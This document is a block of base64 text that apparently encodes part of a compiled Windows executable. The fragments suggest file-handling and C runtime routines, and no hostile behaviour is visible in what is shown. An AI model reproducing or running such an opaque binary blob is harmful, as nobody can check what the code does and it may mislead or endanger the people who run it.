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 